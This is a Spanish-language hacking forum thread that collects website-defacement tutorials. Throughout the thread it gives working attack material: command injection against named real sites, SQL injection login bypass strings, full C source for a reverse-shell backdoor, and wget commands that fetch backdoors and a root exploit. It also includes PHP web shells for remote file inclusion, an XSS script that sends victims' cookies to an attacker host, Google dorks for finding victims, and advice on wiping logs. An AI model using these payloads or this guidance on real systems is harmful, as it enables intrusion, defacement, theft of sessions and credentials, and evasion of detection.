y nos permite ejecutar comandos, como ejemplo utilizare:



http://www.applicationadvantageonline.com/cgi-bin/acart/acart.pl



Ya que estamos en esa url el llamamiento a los archivos .htm los

hace mediante el include $page por lo que nuestra url para poder

incluir COMANDOS quedaria de la siguiente manera:



http://www.applicationadvantageonline.com/cgi-bin/acart/acart.pl?&page=|COMANDO|



COMANDO = cualquier comando linux siempre entre los dos |


Con lo cual ejecutariamos comandos asi:




http://www.applicationadvantageonline.com/cgi-bin/acart/acart.pl?&page=|uname%20-a;pwd;id|




y Obtendriamos de resultado:



Linux host22.ipowerweb.co m 2.4.26HP #1 SMP Thu Apr 22 15:30:54 PDT
2004 i686 i686 i386 GNU/Linux
/home/applicat/public_html/cgi-bin/acart
 uid=2479(applicat) gid=2484(applicat) groups=2484(applicat)



Y listo tenemos la informacion del servidor y del usuario, ahora cabe

mencionar que solo podemos ejecutar un comando a la vez ya que si tratan

de ejecutar por ejemplo      |cd /tmp;ls|      no lo ejecutaria tal cual es

y veriamos solo el contenido del mismo directorio en donde nos

encontramos, asi que ponganse cabrones y encuentren la manera de hacer

el deface en la pagina principal o mejor aun un mass defacement



Advanced GuestBook Inyection Sql

Este metodo consiste en entrar al panel de admin, con un password maestro...

Primero tenemos que localizar a nuestro objetivo, esto es muy facil si sabes usar google adecuadamente, para encontrar el objetivo escribe el siguiente criterio en google:

 

allinurl:"index.php?entry=0"

 

Esto hace que google busque en la url de una pagina ese texto, ese texto en la url, lo tienen los Advanced Guestbook

Ya que estas en el foro, te metes a la seccion de admin, (foro/admin.php). Ahora introduces los siguientes datos...

user: admin
password: ') OR ('a' = 'a

De hay solo presionas en el botón y ya estas en la sección de admin

Te puedes ir a la sección de templates y moficar algun archivo, como index.php, con lo que tu quieras. Siempre y cuando tengas permisos de escritura


Si no tiene permisos de escritura puedes irte a los mensaje del foro e modificar uno con un codigo html que redirecciones así como este:


<meta http-equiv="refresh" content="0; url="http://tu_website.com">
 

PD: Esto es sumamente fácil, en pocas palabras redireccionas hacia una web que tenga el mensajito de "hacked".
 


« Última modificación: 26 de Enero de 2006, 12:26:16 por sdrako » En línea
sdrako
Visitante
« Respuesta #3 : 26 de Enero de 2006, 12:27:44 »

Shell con Firewall




############################################################################

*/ http://Http://Www.DefacersMexico.Org */ | Shell con Firewall

############################################################################

sh-2.05# ./ Escrito por Status-x [ phr4xz@gmail.com ] - Mexico

############################################################################



****************************************************************************


[ Contenido ]


[ 1 ] .- Introduccion....... ................... ................... . Status-x

[ 2 ] .- Backdoors.......... ................... ................... . Status-x

[ 3 ] .- Conexion Reversa............ ................... ........... Status-x

[ 4 ] .- Despedida.......... ................... ................... . Status-x



****************************************************************************


############################################################################

sh-2.05# ./ Introduccion

############################################################################


Que onda, seguramente muchas veces a algunos ustedes el backdoor de su

preferencia no les conecta, bien esto significa que el servidor tiene fire

wall y por lo tanto no acepta conexiones por los distintos puertos que los

backdoors usan, es por eso que veremos como conectarnos aunque el servidor

tenga firewall, para eso utilizaremos un backdoor de conexion reversa que es

mucho mas amigable que trabajar con netcat Smiley


############################################################################

sh-2.05# ./ Backdoors

############################################################################

r0nin, vaya backdoor jejejeje seguramente muchos solo conocen ese, se han

quedado estancados ahi, al leer un tuto y hacer su primer deface ya son

elites y van presumiendo por distintas webs que saben hacer un deface sin

embargo creo que solo se conforman con hacer su index


------------------------------
echo Yo soy hax0r >index.html
------------------------------


Bien, un backdoor como su nombre lo indica en español es una aplicacion que

nos abrira una puerta trasera por la cual entrar, similar en funcionamiento

a los clasicos troyanos, hay distintos backdoors y hay algunos que solo fun

cionan con determinado OS, esto quiere decir que para cada Os podria haber

un backdoor, en este caso usaremos un backdoor normal cuyo autor es

Innocent Boys de Brazil.



Comenzaremos haciendo que el backdoor haga su funcion abrirnos un puerto

,bien en este caso el backdoor me habre una puerta en el 9865


En un ejecutor de comandos correremos el backdoor:


---------------------------------------------------------------------------
http://localhost/index.php?pagina=http://mx.geocities.com/razorkron/cmd.txt
?&cmd=cd /tmp;./backdoor



Innocent Boys Backdoor

Binding the 9865
OK, pid = 30584
---------------------------------------------------------------------------


Ahora nos trataremos de conectar por el putty o con telnet:


-----------------------------------------------

telnet:localhost:9865

-----------------------------------------------


Sin embargo vemos que no nos da la shell, esto quiere decir que tendremos

que echar mano de un backdoor especial que sirve para hacer conexion reversa

y nos conectara aunque el servidor tenga firewall Smiley



############################################################################

sh-2.05# ./ Conexion Reversa

############################################################################


Para conectarnos usaremos un backdoor de conexion reversa, llamado ConnectBack

Backdoor, Smiley a continuacion su codigo fuente


------------------------ COTAR AQUI ---------------------------------
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
char *host;
int port = 80;
int f; int l;
int sock;
struct in_addr ia;
struct sockaddr_in sin, from;
struct hostent *he;
char msg[ ] = "Connect Back Shell "
"Issue "export TERM=xterm; exec bash -i" "
"For More Reliable Shell. "
"Issue "unset HISTFILE; unset SAVEHIST" "
"For Not Getting Logged. (; ";
printf("Connect Back Backdoor ");
if (argc < 2 || argc > 3) {
printf("Usage: %s [Host] ", argv[0]);
return 1;
}
printf("
  • Dumping Arguments ");
l = strlen(argv[1]);
if (l <= 0) {
printf("[-] Invalid Host Name ");
return 1;
}
if (!(host = (char *) malloc(l))) {
printf("[-] Unable to Allocate Memory ");
return 1;
}
strncpy(host, argv[1], l);
if (argc == 3) {
port = atoi(argv[2]);
if (port <= 0 || port > 65535) {
printf("[-] Invalid Port Number ");
return 1;
}
}
printf("
  • Resolving Host Name ");
he = gethostbyname(host);
if (he) {
memcpy(&ia.s_addr, he->h_addr, 4);
} else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {
printf("[-] Unable to Resolve: %s ", host)
return 1;
}
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = ia.s_addr;
sin.sin_port = htons(port);
printf("
  • Connecting... ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Socket Error ");
return 1;
}
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
printf("[-] Unable to Connect ");
return 1;
}
printf("
  • Spawning Shell ");
f = fork( );
if (f < 0) {
printf("[-] Unable to Fork ");
return 1;
} else if (!f) {
write(sock, msg, sizeof(msg));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/sh", "shell", NULL);
close(sock);
return 0;
}
printf("
  • Detached ");
return 0;
}0; }
------------------------------------------------------------------------



Este backdoor nos permitira conectarnos aunque el server tenga firewall

sin embargo el backdoor solo funcionara si tenemos una conexion por

Dial Up ya que he testeado con ADSL y no funciona Wink


Para descargar el backdoor ya compilado:


-------------------------------
http://defacersmexico.org/bd/dc
-------------------------------


Bien empezemos:



En nuestro ejecutor de comandos nos cambiaremos a un directorio con

permisos de escritura, ya explique como se hace eso Smiley, y despues

subiremos el backdoor Smiley y le daremos permisos 777


----------------------------------------------------

cd /dir/;wget defacersmexico.org/bd/dc; chmod 777 dc

----------------------------------------------------


La siguiente herramienta que utilizaremos para poder conectarnos

al servidor sera netcat, que servira como programa escucha y ahi

recibiremos la shell.


En dado caso que estemos bajo Windows haremos lo siguiente en

nuestra linea de comandos Smiley ejecutaremos nuestro netcat:


------------------------------------------

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp. <-------ejecutamos Netcat

C:Documents and SettingsStatus-x>nc
Cmd line:

-------------------------------------------



Nos saldra algo como Cmd line: aqui especificaremos el comando

para que Netcat se ponga a la escucha y podamos obtener la shell Smiley

el comando que pondremos sera:


--------------------
-vv -l -p puerto
--------------------


Y si lo hicimos bien en el netcat nos saldra lo siguiente:


-------------------------------------------

C:Documents and SettingsStatus-x>nc
Cmd line: -vv -l -p 80
listening on [any] 80 ...

-------------------------------------------


cabe mencionar que tendremos que desactivar nuestros firewall para

que podamos recibir la shell, esto involucra tambien desactivar

el servidor de seguridad de internet de microsoft, esto se hace asi:

------------------------------------------------------------------
Inicio > Conexiones de red > Tu Conexion > Propiedades > Avanzadas
------------------------------------------------------------------


Y ahi desactivas la palomita de hasta arriba


Entonces ya tenemos nuestro netcat a la escucha y lo unico que falta

es obtener la shell Smiley, entonces nos vamos a nuestro ejecutor de

comandos y ejecutamos el backdoor:


--------------------
./dc

usage: ./dc

--------------------


Ahora solo nos queda sustituir los valores que nos piden

IP - Tu ip

Port - Puerto que hayas especificado en el Netcat

En este caso yo especifique el puerto 80 y procedemos a ejecutarlo Smiley


-----------------------

./dc 200.145.23.34 80
|
| Tu IP
|
Backdoor Puerto

-----------------------


Si lo hicimos todo bien en el ejecutor de comandos nos debe salir algo como esto:

---------------------------
Connect Back Backdoor

  • Dumping Arguments
  • Resolving Host Name
  • Connecting...
  • Spawning Shell
  • Detached

-----------------------------


y en el Netcat debe de haber aparecido la Shell!!!!!


Sin embargo si aparece esto:


-------------------------
Connect Back Backdoor

  • Dumping Arguments
  • Resolving Host Name
  • Connecting...
  • [-] Unable to Connect
    -------------------------


    Quiere decir que tu red no acepta este tipo de conexion o que hiciste algo mal

    , asi que checa tu IP, puerto, que el netcat este a la escucha, etc Smiley


    Recomiendo utilizar puertos de servicios que no sean sospechosos y con mayor

    probabilidad de que te conecten como: 80, 25, 15 Wink



    ############################################################################

    sh-2.05# ./ Despedida

    ############################################################################


    Bueno pues un tutorial mas, que estoy seguro les sera de ayuda a muchisimas

    personas que creian perdido su mass defacement Smiley jjejejejeje, espero que

    les haya gustado el tutorial si tienen dudas ya saben mi


    mail:
phr4xz@gmail.com

MSN: phr4xz@gmail.com

web: http://defacersmexico.org


Bye a todos Wink

un Saludo especial a Data Cha0s y Command Tribulation por facilitar las

herramientas y la shell en que fue testeado el backdoor Wink


############################################################################

sh-2.05b$ ./ exit

Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor


Si publicas este texto en tu sitio por favor no lo modifiques Wink

############################################################################




*/  http://Http://Www.DefacersMexico.Org */   |    Deface con GNU3 Board
############################################################################

sh-2.05b$ ./ Escrito por Status-x [ phr4xz @ gmail.com ] - Mexico

############################################################################

****************************************************************************


[ Contenido ]


[ 1 ] .- Introduccion....... ................... ................... . Status-x

[ 2 ] .- Que es GNU3 Board.............. ................... ........ Status-x

[ 3 ] .- Buscando Victimas........... ................... ........... Status-x

[ 4 ] .- Elaborando codigo............. ................... ......... Status-x

[ 5 ] .- Analisis del BUG................ ................... ....... Status-x

[ 6 ] .- Despedida.......... ................... ................... . Status-x


****************************************************************************

############################################################################

sh-2.05b$ ./ Introduccion

############################################################################


Que hay, la web cada vez es mas conocida, lamentablemente estuvo un tiempo

offline con lo que las visitas que ya habiamos ganado fueron perdiendose

sin embargo pronto se recuperaran cuando la web abra, esta vez les traigo

un tutorial para poder hacer un deface a paginas web que usen el sistema

gnu3 Board el cual es vulnerable a file include, sin embargo este es un caso

especial ya que tendremos que hacer cierto codigo para que este nos funcione

antes de comenzar quisiera mandar un saludo a taer de hakim.ws que se va

para tabasco Gi&ntilde;ar


############################################################################

sh-2.05b$ ./ Que es gnu3 Board

############################################################################


Es un sistema de foros de distribucion gratuita el cual es usado en Korea

la vulnerabilidad de este sistema consiste en un file include el cual solo

permite incluir archivos .php .html .htm, con lo cual cualquier intento

de hacerlo con un ejecutor de comandos sera en vano


############################################################################

sh-2.05b$ ./ Buscando Victimas

############################################################################


Para buscar las victimas usaremos www.google.co.kr o kr.yahoo.com y en el

caso de google pondremos el siguiente criterio de busqueda:

--------------------------

allinurl: /gnu3/

--------------------------

Y listo nos apareceran varios resultados, comencemos pues


############################################################################

sh-2.05b$ ./ Elaborando Codigo

############################################################################

Bien dado que esta vulnerabilidad aprovecha un file include pero este no

permite incluir archivos con extension diferente a .htm .html o .php

no funcionaria ningun ejecutor de comandos por lo que ahora elaboraremos un

codigo el cual nos servira en casos como este empezemos:

==================================================================
<?
$fp=fopen("./index.html","w+");

fwrite($fp,"<html>
<title>Defaced</title>
<body bgcolor=#000000 text=#FFFFFF>
<p align=center>Defaced by Status-x</p>
<p align=center>Stop the war against Iraq and Palestine.</p>
<p align=center>-= Mexican Hacker =-</p>
<p align=center>Phr4xz @ gmail.com</p>
</body>
</html> \n");
fclose($fp);
?>
==================================================================

Ahora ese codigo les explicare lo que hace:

==============================
$fp=fopen("./index.html","w+")
==============================

Indica una variable que es $fp la cual va a abrir el archivo index.html de
ese directorio

==============================
fwrite($fp,"<html>
==============================

Enseguida esta funcion nos dice que escriba sobre la variable $fp la cual se
refiere al index.html

===================================================================
<title>Defaced</title>
<body bgcolor=#000000 text=#FFFFFF>
<p align=center>Defaced by Status-x</p>
<p align=center>Stop the war against Iraq and Palestine.</p>
<p align=center>-= Mexican Hacker =-</p>
<p align=center>Phr4xz @ gmail.com</p>
</body>
</html> \n");
fclose($fp);
?>
===================================================================

El codigo de nuestro deface y el cierre del codigo php


Como vemos lo unico que hace este codigo es escribir sobre un archivo en este

caso el index.html, el cual tambien puede ser cambiado por index.php

Un ejemplo de como se verian estos codigos esta en:

http://mx.geocities.com/razorkron/indexphp1p.htm

http://mx.geocities.com/razorkron/indexphp2p.htm <----este codigo escribe sobre el index principal

http://mx.geocities.com/razorkron/indexphp.htm


Bien ahora que ya tenemos nuestro codigo elaborado procedemos a hacer el

deface a la web que hayamos elegido.

Un dato importante es que el archivo hay que guardarlo como .html Gi&ntilde;ar


############################################################################

sh-2.05b$ ./ Analisis del Bug

############################################################################

Bien para identificar el fallo se encuentra el en index.php de cada web

con este sistema, esto lo encontramos de la siguiente manera:

=======================
/gnu3/index.php?doc=

o

/gnu3/?doc=
=======================


Al final de cada url agregaremos nuestra url de la siguiente manera:


=====================================================================

http://webvulnerable.com/gnu3/?doc=http://atacante.com/indexphp1p.htm

=====================================================================


Si la web es vulnerable nos saldra algo mas o menos asi:

======================================================================
http://atacante.com/indexphp1p.htm ÆÄÀÏÀÌ À    ¸Ãƒâ‚¬ÃƒÂ§Ãƒâ€¡ÃƒÂ    ´Ãƒâ€šÀö È    ®Ãƒâ‚¬ÃƒÅ½Ãƒâ€¡ÃƒÂ    ¿    © ÀÖ    ½ÃƒÅ     ½ÃƒÆ’    ¿ÃƒÆ’€
======================================================================

Con lo cual nuestro file include fue exitoso, cabe mencionar que una ves

que se escribe sobre el index.php ya no se puede modificar asi que piensa

bien tu mensaje

Veamos un ejemplo real:


======================================================================

http://kysbook.co.kr/gnu3/?doc=http://mx.geocities.com/razorkron/cmd.txt

======================================================================


Como vemos me da un mensaje como el siguiente:

==================================================
php php3 htm html phtml ÄÚ    µÃƒÂ¥    ¸    ¸     ½Ãƒâ€¡Ãƒâ€¡ÃƒÂ ÇÒ     ¼ÃƒÂ¶ ÀÖ    ½Ãƒâ‚¬    ´ÃƒÂ    ´Ãƒâ„¢.
==================================================

El cual me indica que solo se admiten las extensiones que ahi aparecen


Ahora bien ya tengo mi codigo listo para hacer mi deface en:


http://mx.geocities.com/razorkron/indexphp1p.htm


Entonces simplemente lo agrego al final de la URL

===============================================================================
http://kysbook.co.kr/gnu3/?doc=http://mx.geocities.com/razorkron/indexphp1p.htm
===============================================================================


Y listo mi deface ha sido hecho en un subdirectorio:

===========================
http://kysbook.co.kr/gnu3/
===========================

Sin embargo les recomiendo probar los 3 codigos que les proporcione antes y con

suerte el deface se vera en el index Sonrisa, obviamente primero prueben el que

reemplaza el index principal de lo contrario si prueban antes el que reemplaza el

index del directorio ya no podran probar los demas Sonrisa



TIP DE DEFACE:

Esta vez un pequeño tip para aquellos novatos o para avanzados francamente pendejos

el codigo visto arriba nos sirve para webs que permitan file include normal y que

tengan permisos de escritura, PERO que algunas veces nos dan mensajes como:


=========================================================

Warning passthru() has been disabled for security reasons

=========================================================

entonces simplemente agregamos nuestra URL con el codigo y listo el deface sera

realizado en donde especifiquemos Sonrisa


############################################################################

sh-2.05b$ ./ Despedida

############################################################################

Pues un tutorial mas el cual espero que les haya gustado y sobre todo que les

sirva para ir mejorando en el deface, hay ciertos chavos que van y se las dan

de muy chingones sin embargo, no tienen idea de todo lo que implica ser un

defacer o hacer un deface Gi&ntilde;ar

Un saludo a toda la banda mexicana Gi&ntilde;ar

Atte: Status-x

Mail: phr4xz @ gmail.com

MSN: phr4xz @ gmail.com

Web: http://defacersmexico.org

############################################################################

sh-2.05b$ ./ exit

Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor


Si publicas este texto en tu sitio por favor no lo modifiques Gi&ntilde;ar

############################################################################


Para lograr un deface sigan los pasos al pie de la letra...
En línea
sdrako
Visitante
« Respuesta #4 : 26 de Enero de 2006, 12:29:36 »

Bug GoldLink
 
(Recomendada para sitios con intercambio de banners)

Existe un bug en el fichero list.php que viene con el GoldLink 3.0.
Dicho fichero esta programado para ser \'llamado\' desde la pagina que programa el Webmaster mediante un include().


Para ser exactos y sacado del Leame.txt:
-- Al comienzo de su página (antes de) debe agregar las siguientes líneas:


#?php
$path=\"/path/al/script/goldlink\"; // Sin barra al final
include(\"goldlink/list.php\");
?#


cambien # por < y >

-- Con lo cual se presupone que la variable path ya esta definida. Ahora veamos
las primeras líneas del list.php:


include(\"$path/variables.php\&qquot;);
$link=Conectarse();


-- Si llamamos al list.php directamente le podemos meter en la variable path lo que queramos


Demostración:
Pues bien, nos vamos a cualquier servidor que no soporte PHP (www.nuestroserver.c om en el ejemplo) y creamos el fichero
variables.php con el siguiente contenido:


#?
function Conectarse()
{
$fp=fopen(\"variables.php\",r);
fpassthru($fp);
die();
}
?#

Después vamos a nuestro navegador y tecleamos:
http://www.victima.com/goldlink/list.php?path=http://www.nuestroserver.com. Le damos enter ponemos ver código fuente y tenemos el fichero en cuestión con las claves de la base de datos. En vez de eso podríamos haber hecho otra cosa, como system(\"ls -l\"), leer otro fichero, etc. Solo hay que meter el código que queramos en la función Conectarse() (de nuestro server), y se ejecutara en el server de la victima con privilegios de http.
 

Inyeccion HTML
 
Para buscar guestbook vulnerables, entra en google.com y teclea: "Guestbook" o "Guestbook con HTML activado"


Para hackear GuestBook (Libro de visitas) tienes que fijarte que el HTML este habilitado, sino lo esta, entonces no intentes mas =(

Para darte cuenta si el HTML esta activado o no, procede a postear lo siguiente:


<h1>Hola

NOTA: En donde dice "HOLA" puedes poner lo que quieras. Solo tienes que fijarte que las letras se pongan grandes.
Si notas que la frase se ponen en grandes, es vulnerable.

Luego escribes, esto:


<META HTTP-EQUIV="refresh" CONTENT="1; url=AQUI PONES LA URL DEL HACK">

En donde dice: "AQUI PONES LA URL DEL HACK", hay pondrás tu URL donde dirá tu mensaje, osea, el defaced.

Y eso es todo. Es super sencillo xD

 

Espero que disfruten y aprovechen este gran bug.
 


 
En línea
sdrako
Visitante
« Respuesta #5 : 26 de Enero de 2006, 12:31:09 »

Deface con My_eGallery




############################################################################

*/ http://Http://Www.DefacersMexico.Org */ | Defacing with My_eGallery

############################################################################

sh-2.05b$ ./ Escrito por Status-x [ phr4xz@gmail.com ] - Mexico

############################################################################


****************************************************************************


[ Contenido ]


[ 1 ] .- Introduccion....... ................... ................... . Status-x

[ 2 ] .- Que es My_eGallery........ ................... ............. Status-x

[ 3 ] .- Buscando Victimas........... ................... ........... Status-x

[ 4 ] .- Explorando el Bug................ ................... ...... Status-x

[ 5 ] .- Tips De Deface............. ................... ............ Status-x

[ 6 ] .- Arreglando el Bug................ ................... ...... Status-x

[ 6 ] .- Herramientas....... ................... ................... . Status-x

[ 7 ] .- Despedida.......... ................... ................... . Status-x


****************************************************************************




############################################################################

sh-2.05b$ ./ Introduccion

############################################################################

Saludos a toda la Scene Mexicana y de todo el mundo, bueno pues me he decidi

do a empezar a hacer mis propios tutoriales de Deface para todos ustedes

esta vez comenzare con un tutorial sencillo, sin embargo proximamente pondre

mas y mejores tutoriales solo que necesito ver la respuesta de todos ustedes

comenzemos pues con este tutorial que espero les sirva de algo Wink, este tuto

va enfocado a personas que tienen conocimientos sobre comandos linux Wink y

que tengan nociones de hacking o defacing




############################################################################

sh-2.05b$ ./ Que es My_eGallery

############################################################################


My_eGallery es un sistema desarrollado originalmente para PostNuke con

algunas caracteristicas especiales como:

- Soporte de Imagenes

- Soporte de Archivos de Audio y Video

- Organizacion por Categorias y Subcategorias


El lenguaje original en que fue creado es Ingles y Aleman, es un sis

Remote File Inclusion


Esta vulnerabilidad permite incluir archivos remotos de otros servidores, la mayoría de estas vulnerabilidades se encuentran en códigos como:

<?
include"$page";
?>

Este seria explotado de esta manera:

vuln.php?page=http//[atacante]

Pero a que pagina enviamos este archivo, lo mas normal es enviarlo a uno para poder ejecutar comandos, el archivo podría tener cualquiera de estos:

<?
exec($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line
"; }
?>
exec();


<?
system($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line
"; }
?>
system();


<?
passthru($_GET[cmd],$salida);
foreach($salida as $line) { echo "$line
"; }
?>
passthru();

Bien ya tenemos el archivo con este código le ponemos una extensión .gif .jpg cual sea mientras no sea php sino lo ejecutaría en nuestro server. Lo subimos al server y lo tenemos todo preparado, imaginemos que el url es http://atacante.com/xpl.gif, en xpl.gif debe haber uno de esos 3 códigos de arriba, cada uno usa una variante distinta ya que algunos servidores puede que alguna la tenga bloqueada para que no hagan tonterías.
Ahora hacemos un url así... http://victima.com/vuln.php?page=http://atacante.com/xpl.gif?cmd=id;
podemos ver como de archivo estamos incluyendo el nuestro así inyectamos un código php y haciendo que lo ejecute.
Haríamos ..xpl.gif?cmd=[aquí el comando]
hay va el comando a ejecutar, como una shell.
Que podemos hacer con esto?
Pues muchas cosas, como por ejemplo comandos como "cat" para ver archivos como los de configuración en texto plano, y así obtener información también podemos hacer cat en los archivos de otros usuarios, por ejemplo:

"cd/home/fulanito/public_html;cat config.php"

O para conseguir una lista de archivos:

"cd/home/fulanito/public_html;ls"

Pues aun no esta lo mejor porque aun así si no tenemos permisos podemos obtenerlos por medio de xploits a continuación explicare como utilizarlos.
Podemos rootear la maquina con un xploit que aprovecha un bug en el kernel 2.4 el exploit se llama w00t, explico
1.- Descargaremos w00t.
2.- Iremos a la carpeta /tmp hay podemos ejecutar exploits desde nobody (cd /tmp)
3.- Subiremos el w00t al server por medio de wget para esto subí el archivo w00t a tu server y ejecutamos lo siguiente dentro la carpeta tmp: "wget http://atacante/w00t" esto recogerá el archivo w00t de tu server y lo pasara a la carpeta en la que estés (/tmp)
3.- Lo que aremos ahora será dar permisos chmod 777 a w00t para poder ejecutarlo (chmod -c 777 w00t)
4.- Ahora lo ejecutaremos (./w00t)
5.- Ahora para saber si funciono escribiremos "id" y nos saldrá nuestro id, nos deberá dar otro que no sea el de nobody con este no somos root pero tenemos bastantes permisos.

También podemos ejecutar un backdoor en el server para poder entrar con una shell aunque sea como nobody pero nos puede ser muy útil.
Este xploit se llama r0nin como en la explicación anterior haremos lo mismo

1.- Descargaremos el xploit r0nin
2.- Lo subiremos a la carpeta /tmp y le daremos permisos chmod 777(explicado anteriormente)
3.- Hay le ejecutaremos (./r0nin)
4.- Si funciona bien veremos algo como: PsychoPhobia Backdoor is starting...OK, pid = xxxx (en la xxxx saldrá unos números que es el pid)
5.- Bien ahora el backdoor esta ejecutado para entrar entraremos por telnet en el puerto 1666 Smiley también podemos usar el PuTTy para esto. Aquí encontramos una shell como nobody o como lo hayamos ejecutado.
5.- Con esta backdoor podemos hacer lo mismo que anteriormente dije... pues ejecutar algún xploit, etc...
 

 

En línea
sdrako
Visitante
« Respuesta #6 : 26 de Enero de 2006, 12:33:17 »

SQL Inyection
 
(conteniendo /admin/login.asp o solo login.asp)


Estas inyecciones son REPLACEadas en los campos de contraseñas de paginas asp para intentar saltar la autentificacion.

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi")or("a"="a

 
Bug Unicode (Server propios)
 
(Únicamente para sitios que tienen su propio servidor, compañías grandes, escuelas, por ejemplo www.cocacolacompany .com, www.microsoft.com)

 

En este metodo, lo que necesitamos es:

<Unicode/Decode Scanner>
<Unicode Exploit>

Para este ejemplo puedes utilizar el Unisploit Colden Air 2.1 (hay muchos y sirven igual), gracias a estos xploits es muy fácil explotar esta vulnerabilidad ,aunque cabe mencionar que ya es algo vieja, pero con suerte podrás encontrar algunas paginas con este Bug.


Veamos como se utiliza, lo primero que tenemos que hacer es encontrar una pagina vulnerable, esto lo podemos hacer con algún scanner de Unicode. Ya que tengas el scanner, puedes poner simplemente un rango de ip's para ver quien es vulnerable, o si ya tienes pensada alguna victima lo mejor es que veas el ip de la pagina (esto lo logras desde msdos escribiendo ping wwwvictima.com)
Una vez que tengas el ip de la pagina, y que hayas probado que sea vulnerable con el scanner, procedes a explorar este bug.

Este bug te da la posibilidad de entrar completamente al sistema remoto, como si estuvieras usando un troyano, así que tu única labor será encontrar en que parte de la computadora remota esta guardada la pagina, y una vez localizada, puedes borrar, editar, o modificar el contenido.
Al estar en un sistema ajeno las posibilidades son infinitas, pero el objetivo de este tutorial es solamente el deface de paginas webs.

Una vez que estés dentro del sistema, configura el xploit para usar un servidor proxy, aunque navegaras mas lentamente por la computadora ajena, pero es mejor prevenir. Siempre busca el directorio donde se almacenan los logs generalmente C:\windows\system32\logs ,para borrar cualquier indicio de que tu estuviste en esa maquina, cuando estés en un sistema ajeno, no dejes rastros tuyos (como renombrar archivos con tu nick), basicamente no hagas pendejadas, solo ve a lo que vas, y SIEMPRE usa proxy para evitar que te sorprendan.


Ataque XSS
 
Bueno pues voy ha hacer una pequeña introducción a los ataques XSS, el caso que voy a poner es el de una web que utilize cookies y tenga un buscador (el típico buscador que tiene un formulario y un botón).


* Lo primero es hacer una pequeña introducción sobre que es una cookie:

Una cookie es un almacén de información que se guarda en el ordenador del usuario y en cualquier momento  la pagina puede pedir la información, que contiene la cookie, al ordenador del usuario...
Ahora que sabemos que es una cookie lo que vamos ha hacer es ver el nombre de la página donde se encuentra  el buscador, en nuestro caso es buscador.php

Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador, por ejemplo:

Código:
<script>alert()</script>
Si salta una alarma al pulsar el botón, significa que ese buscador es vulnerable.
Si no salta pues no jodemos y a buscar otro...

Suponiendo que sea vulnerable, el siguiente paso es ver el nombre del formulario y del botón.
Para esto, tenemos que ver el código fuente de dicha página y buscar algo como:


<input type="text" name="palabra"> que será el formulario.
<input type="submit" name="buscar" value="Buscar"> que será el botón.
 

Ahora ya sabemos que el formulario se llama palabra y que el botón se llama buscar.

* Para almacenar las cookies, tenemos dos opciones -> almacenarlas en una base de datos (mysql) o almacenarlas en un archivo de texto (la mas fácil).

A continuación vamos a crear una pagina en php, este archivo creará otro (archivo.txt) cuando algún usuario caiga en el ataque y escribirá a continuación los siguientes usuarios.
Cookies.php

Código:
<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

archivo.txt
este archivo se creara automáticamente y será en el que se almacenen las cookies, osea, que para ver los resultados tienes que entrar en este archivo.

Una vez hecho este paso solo tenemos que crear "LA URL" que será de la
siguiente forma:

Código:
http://www.vulnerable.com/buscador.php?palabra=<script>window.location=
'http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;

Voy a explicar cada parte de esta "URL".
http://www.vulnerable.com/buscador.php
Esta parte lo único que hace es entrar en la pagina del buscador.
?palabra=.

 
 

En línea
sdrako
Visitante
« Respuesta #7 : 26 de Enero de 2006, 12:34:48 »

Deface con Zeroboard



############################################################################

*/ http://Http://Www.DefacersMexico.Org */ | Defacing en Zeroboard

############################################################################

sh-2.05b$ ./ Escrito por Status-x [ phr4xz@gmail.com ] - Mexico

############################################################################



****************************************************************************


[ Contenido ]


[ 1 ] .- Introduccion....... ................... ................... . Status-x

[ 2 ] .- Que es Zeroboard.......... ................... ............. Status-x

[ 3 ] .- Buscando Victimas........... ................... ........... Status-x

[ 4 ] .- Explorando el Bug................ ................... ...... Status-x

[ 5 ] .- Tips De Deface............. ................... ............ Status-x

[ 7 ] .- Despedida.......... ................... ................... . Status-x


****************************************************************************


############################################################################

sh-2.05b$ ./ Introduccion

############################################################################


Que onda chavos, pues al parecer veo que los tutoriales estan siendo distri

buidos rapidamente, claro no faltara el pendejo que le cambie los datos Smiley

pero en fin esta vez trataremos del deface con rfi en Zeroboard un sistema

de foros bastante conocido en Korea Smiley, gracias a todos los que me apoyan

dando a conocer la web publicando los tutoriales de verdad muchas gracias

es por eso que esta vez les comparto esta tecnica Smiley comenzemos...



||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

sh-2.05b$ ./ Que es Zeroboard

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||


Zeroboard es un sistema de foros desarrollado en PHP y al que se le han

encontrado multiples fallas en los ultimos meses, este sistema es bastante

conocido en Korea, permite icnluir comentarios, incluir smilies, e incluso

una de las skins es tambien vulnerable a Remote File Inclusion.




############################################################################

sh-2.05b$ ./ Buscando Victimas

############################################################################



Bien dado que el sistema es usado solo en Korea podriamos buscar sitios

de la siguiente manera:


****************************
allinurl: /zboard/zboard.php
****************************


Con lo cual la url para buscar sitios seria de la siguiente manera:



**************************************************************************
http://www.google.co.kr/search?hl=ko&q=allinurl%3A+zboard%2Fzboard.php&lr=
**************************************************************************


Listo tenemos ya algunas webs con las cuales podremos practicar Smiley




############################################################################

sh-2.05b$ ./ Explorando el BUG

############################################################################


Bien el bug se encuentra en el archivo write.php en las ultimas lineas jeje

primero tenemos unas lineas que no se entienden y despues la variable $dir

que es la causante del fallo Smiley


***********************************
